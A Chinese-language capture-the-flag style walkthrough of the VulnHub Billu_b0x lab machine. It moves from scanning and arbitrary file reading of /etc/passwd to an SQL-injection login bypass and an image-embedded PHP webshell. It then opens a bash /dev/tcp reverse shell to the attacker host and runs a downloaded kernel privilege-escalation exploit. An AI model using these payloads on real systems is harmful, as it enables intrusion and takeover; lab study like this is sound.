vulnhub-billu_b0x靶機滲透

一、靶場詳情

Billu_b0x 是 Vulnhub 上的經典中等難度靶機,主要考察從信息收集到提權的完整滲透流程:先通過端口和目錄掃描發現網站入口,利用 SQL 注入或文件包含進入后臺并上傳 WebShell,再通過反彈 Shell 獲取低權限用戶,最后結合內核漏洞完成提權,最終拿到 root 權限,非常適合初學者系統練習 Web 滲透與 Linux 提權。

  • vulnhub 官網:Vulnerable By Design ~ VulnHub
  • 靶機下載地址:https://download.vulnhub.com/billu/Billu_b0x.zip

配置介紹:

  • 靶機:192.168.50.129
  • kali:192.168.50.130

二、信息收集

1.獲取目標 ip

通過 arp-scan -l 掃描到在線主機(靶機)

arp-scan -l

2.掃描目標信息

通過 nmap 掃描目標詳情,得知靶機開啟了 80 和 22 端口。

nmap -p- 192.168.50.129

訪問 80 端口,發現該頁面存在登錄功能。

3. 對該 web 服務進行目錄掃描

dirsearch -u http://192.168.50.129/ -i 200

目錄掃描,掃描出 add.php,head.php,c,phpmy/,test.php 等頁面,依次訪問。

test.php 頁面

phpmy/頁面

三、漏洞發現及利用

1.任意文件讀取

經過信息收集發現 test.php 頁面,該頁面提示給 file 參數進行傳值,先進行 get 傳參,發現沒任何變化,那就抓包 post 傳參。令 file=/etc/passwd,發包發現返回內容,則此處存在任意文件讀取漏洞。令 file=信息收集到的幾個頁面,進行源碼查看。

2.繞過登錄

方法 1: 文件包含獲得密碼

在任意文件讀取處,令 file=信息收集到的幾個頁面,進行源碼查看。經過幾個頁面的分析,發現幾個有用的信息。

令 file=c 時,疑似得到數據庫的賬號和密碼。想到在信息收集時,收集到了 phpmy/頁面為 phpmyadmin 登錄頁面。

拿此密碼進行登錄嘗試,發現登錄成功。

發現該數據庫中存在 ica_lab 庫,該庫中有 3 張表,auth 表中存有賬號密碼。

懷疑是主頁面的登錄賬號密碼,進行登錄嘗試,發現登錄成功。

方法 2:sql 注入

通過文件包含 index.php 主頁面,可以知道該登錄機制的源碼

if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);

參數uname和pass都對單引號做了過濾,單引號轉化為空,最后的 sql 執行語句因該如下

select * from auth where  pass='$pass' and uname='$uname'

當傳入的密碼為 \ 時,sql 語句變為

select * from auth where  pass='\' and uname='$uname'

當傳入的用戶名為 or 1=1#時,sql 語句變為

select * from auth where  pass='\' and uname='or 1=1#'

即 username=or 1=1#,password=\ 可繞過登錄。

登錄成功。

3.文件包含利用

(1)分析數據包

在登錄之后,右鍵查看源碼,發現圖片存放的地址,可得到圖片存放的地址。

抓包分析該頁面的數據包。

使用前面發現的任意文件讀取漏洞查看該頁面源碼。

經過分析發現,此處存在文件包含漏洞,會將包含的文件當做 php 執行,又知道上傳圖片存放的地址,則這里可以使用圖片馬進行利用。

(2)圖片馬制作

copy 1.jpg/b+yijuhua.php/a tupianma.jpg#copy,Windows 的文件復制命令,但它有一個特性:支持文件拼接。
#1.jpg/b,1.jpg 是一個圖片文件,/b 表示 以二進制模式復制,防止換行符、EOF 等問題。
#+,代表把多個文件合并。
#yijuhua.php/a,yijuhua.php 是一個 PHP 文件(一句話木馬,<?php system($_GET['cmd']);?>),/a 表示 以 ASCII 模式復制。
#tupianma.jpg,輸出的目標文件名,即最終生成的文件。

將制作好的一句話木馬圖片上傳,然后令 load 參數的值為該木馬圖片的路徑。因為此處是通過抓包修改參數進行的文件包含,具有一次性,故不能進行蟻劍連接。

因為幾句話木馬為<?php system($_GET['cmd']);?>,所有在抓包修改時,直接在 get 請求中添加 cmd 參數進行觸發木馬。可以看到,命令執行成功。

(3)反彈 shell

這里需要使用反彈 shell 的方式連接靶機。

首先需要在 kali 中開啟端口監聽。

其次使用 cmd 參數執行命令,進行反彈 shell。

echo "bash -i > /dev/tcp/192.168.50.130/4444 0>&1" | bash
# bash -i,啟動一個 交互式 bash shell
# > /dev/tcp/192.168.33.130/4444  把當前 shell 的標準輸出重定向到攻擊者 192.168.33.130:4444 上。
# 0>&1,這表示把 標準輸入(fd 0)重定向到標準輸出(fd 1)。

注意,需要對該命令進行 url 編碼

echo+%22bash+-i+%3e+%2fdev%2ftcp%2f192.168.50.130%2f4444+0%3e%261%22+%7c+bash

點擊發送,發現 kali 中已經成功連接。

因為通過 nc 拿到的 shell 是 最簡陋的 TTY

  • 沒有命令提示符
  • 沒有命令補全(Tab)
  • 輸入密碼時也不會顯示 *
  • 輸出可能亂碼或顯示不完整

可以在反彈 shell 里輸入以下命令升級 shell

python -c 'import pty; pty.spawn("/bin/bash")'

(4)查看系統版本信息

cat /etc/*release

四、提權

1.查找 exp

在得知靶機的系統版本后,在 kali 中搜索是否有該版本的漏洞。

searchsploit Ubuntu 12.04

可以利用37292.c 這個 exp,首先將 37292.c 這個文件復制到桌面的 billu 文件中。

locate 37292.c   #查詢37292.c文件的位置
cp  .c billu     #將.c文件復制到billu中

2.開啟 http 服務

在 billu 文件中,開啟 http 服務,以便可以下載該文件到靶機中。

python -m http.server 8080

接下來使用 weget 將 37292.c 文件從 kali 中下載到靶機中。這里需要注意,/var/www 目錄下沒有寫入的權限,需要先將目錄切換到/var/tmp 中,將 37292.c 文件下載到/var/tmp 中。

3.編譯,賦權,執行

接下來就是要對該文件進行編譯,賦權,執行。獲得 root 權限

gcc 37292.c -o 37292 #將該文件編譯后輸出為37292chmod +x 37292       #給編譯好的文件執行權限./37292              #執行文件

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/96861.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/96861.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/96861.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C# 相機內存復用(減少圖像采集耗時)以及行數復用

背景我們在做圖像處理時&#xff0c;都會對一些相機的SDK進行開發完成圖像采集的操作&#xff0c;為后續圖像處理做準備。本文主要的目的是降低圖像采集的耗時&#xff0c;應用在一些高速檢測的場景下。利用循環隊列內存復用的方式&#xff0c;去掉或者減少新建內存的時間。線掃…

MTK Linux DRM分析(十三)- Mediatek KMS實現mtk_drm_drv.c(Part.1)

一、簡介 MediaTek (MTK) 的DRM驅動(基于mtk_drm_drv.c)是為MediaTek SoC(如MT6985、MT6895等)設計的顯示子系統(Display Subsystem)驅動程序。它實現了Linux DRM/KMS框架,支持多CRTC、多平面(plane)、連接器(connector)和編碼器(encoder)的顯示管道。驅動處理硬…

Wireshark筆記-DHCP流程與數據包解析

背景DHCP從大學上網絡課時就開始知道了&#xff0c;當時只知道&#xff0c;能讓計算機上網&#xff0c;要不就靜態配IP&#xff0c;要不就DHCP獲取&#xff0c;就能上網。2021年時&#xff0c;畢業好幾年了&#xff0c;想學習下網絡知識&#xff0c;就準備考一個軟考網工。按要…

Coze用戶賬號設置修改用戶頭像-前端源碼

概述 Coze Studio的用戶頭像修改功能是用戶賬號設置中的重要組成部分&#xff0c;允許用戶上傳和更新個人頭像。本文將深入分析該功能的前端實現&#xff0c;包括組件架構、文件上傳處理、API設計和用戶體驗優化等方面。 技術架構 整體架構設計 Coze Studio采用現代化的前端架構…

新手Github提交PR(Pull requests)詳細教程

一、什么是Pull requests&#xff1f; Pull Requests&#xff08;PR&#xff09;是代碼協作平臺&#xff08;如 GitHub、GitLab 等&#xff09;中的一種功能&#xff0c;用于提議將某分支的代碼變更合并到另一個分支&#xff08;通常是主分支&#xff09;。它允許開發者在合并…

本地通過跳板機連接無公網IP的內網服務器

本地環境&#xff1a;SSH client 堡壘機&#xff1a;有公網IP&#xff0c;有連接內網服務器的秘鑰 SSH配置&#xff1a; Host jmsHostName [堡壘機的公網IP]Port 22User rootIdentityFile ~/.ssh/id_rsaHost appHostName 10.0.0.14Port 22User rootIdentityFile ~/.ssh/svc-p…

B樹,B+樹,B*樹

下面我們來詳細講解一下 B樹、B樹、B*樹 這三種非常重要的多路平衡查找樹。它們在數據庫和文件系統中有著極其廣泛的應用。一、為什么需要這些樹結構&#xff1f;在開始之前&#xff0c;我們先思考一個問題&#xff1a;為什么已經有了二叉搜索樹&#xff08;BST&#xff09;、A…

汽車零部件工廠ESOP系統工業一體機如何選型

在汽車零部件工廠的生產管理中&#xff0c;ESOP 系統發揮著至關重要的作用。而工業一體機作為 ESOP 系統的關鍵硬件支撐&#xff0c;其選型的合理性直接關系到生產效率的提升、生產過程的精準控制以及生產數據的可靠采集與分析。因此&#xff0c;為汽車零部件工廠選擇一款適合的…

?維基框架 (Wiki Framework) 1.1.0 版本發布? 提供多模型AI輔助開發

介紹 多模型AI輔助開發? 維基框架1.1.0集成了主流AI引擎的統一接口&#xff0c;支持開發者按需調用不同模型的優勢能力&#xff1a; ?DeepSeek?&#xff1a;專注代碼生成與重構&#xff0c;擅長復雜業務邏輯實現 ?ChatGPT?&#xff1a;多模態推理能力&#xff0c;適用于…

LabVIEW調用MATLAB 的分形生成

LabVIEW 調用 MATLAB&#xff0c;可借前者可視化流程與硬件交互優勢&#xff0c;結合后者強數值計算、算法能力&#xff0c;復用成熟算法提速開發&#xff0c;還能靈活改代碼。但需匹配版本、裝運行環境&#xff0c;數據傳遞有性能損耗&#xff0c;腳本出錯需跨軟件調試。?優點…

ubuntu20.04開發ros2,使用docker安裝部署的詳細教程

學習docker的教程&#xff1a;可以直接在菜鳥教程上學習即可階段 0&#xff1a;系統檢查| 內容 | 建議 | |------|------| | 操作系統 | Ubuntu 22.04&#xff08;與 ROS2 Humble 最匹配&#xff09; | | 用戶權限 | 能執行 sudo |&#x1f9e9; 階段 1&#xff1a;在 Ubuntu 上…

SQL Server縮小日志文件.ldf的方法(適用于開發環境)

SQL Server縮小日志文件.ldf的方法&#xff08;適用于開發環境&#xff09; 核心概念&#xff1a;為什么日志文件會變大&#xff1f; 首先&#xff0c;理解原因至關重要。事務日志文件在以下情況下會增長&#xff1a; 大量操作&#xff1a;執行了大批量插入、更新或刪除操作&am…

2.3零基礎玩轉uni-app輪播圖:從入門到精通 (咸蝦米總結)

還在uni-app中的輪播圖組件頭疼嗎&#xff1f;看完這篇&#xff0c;讓你輕松掌握swiper的所有秘密&#xff01;輪播圖的重要性 在現代移動應用開發中&#xff0c;輪播圖&#xff08;Swiper&#xff09;已成為展示焦點內容、廣告推廣和產品展示的首選組件。無論是電商平臺的商品…

FPGA學習筆記——AHT20溫濕度讀取并在串口顯示(IIC協議)

目錄 一、任務 二、分析 1.需要了解的 2.需要用到的模塊 3.流程分析 三、Visio圖 四、代碼 五、實驗現象 一、任務 使用IIC協議通信的AHT20&#xff0c;將溫濕度數據讀取出來&#xff0c;并在串口助手上顯示。 二、分析 1.需要了解的 需要了解IIC協議簡介 也可以看看E…

Pycharm SSH連接

添加遠程服務器文件——>設置——>項目下的Python解釋器——>添加解釋器——>SSH在彈出的彈窗中&#xff0c;輸入遠程的主機、端口和用戶名、一直下一步&#xff0c;得到如下圖所示的結果&#xff1a;選擇Conda 環境&#xff1a;第一步選擇Conda環境&#xff1b;第…

c# 讀取xml文件內的數據

好多大型的項目&#xff0c;把一些固定的參數都存在 xml文件里。創建c# winfom 項目&#xff0c;test_xml創建resources文件夾存放xml文件創建parameters.xml文件<root><test_xml><param name "threshold" value "128"/><param name …

Legion Y7000P IRX9 DriveList

Legion Y7000P IRX9 DriveList 聯想Y7000P驅動列表 驅動列表 intelwlan-TYY5057FK6MQBRF0.exe NVVGA-TYY5057F3M0H9RF0.exe RTKwlan-TYY5077FFSNECRF0.exe audio-TYY5057F4N1JARF0.exe chipset-TYY5037FB10X3RF0.exe hdr-TYY5027FXNF9AWF0.exe intelVGA-TYY5057F5R9J7RF…

編程與數學 02-017 Python 面向對象編程 23課題、測試面向對象的程序

編程與數學 02-017 Python 面向對象編程 23課題、測試面向對象的程序一、單元測試&#xff08;Unit Testing&#xff09;使用 unittest 模塊使用 pytest二、集成測試&#xff08;Integration Testing&#xff09;三、模擬對象&#xff08;Mocking&#xff09;四、測試驅動開發&…

[React]Antd Cascader組件地區選擇

前言表單中添加一個地區選擇功能&#xff0c;要求支持增刪改查功能。Cascader 使用Cascader組件動態加載地區選項。使用 loadData 實現動態加載選項&#xff0c;&#xff08;loadData 與 showSearch 無法一起使用&#xff09;。 這里使用了Form.Item組件。 <Form.Itemlabel{…

深度學習-----《PyTorch神經網絡高效訓練與測試:優化器對比、激活函數優化及實戰技巧》

一、訓練過程并行批量訓練機制一次性輸入64個批次數據&#xff0c;創建64個獨立神經網絡并行訓練。所有網絡共享參數&#xff08;Ω&#xff09;&#xff0c;更新時計算64個批次的平均損失&#xff0c;統一更新全局參數。梯度更新策略使用torch.no_grad()上下文管理器清理反向傳…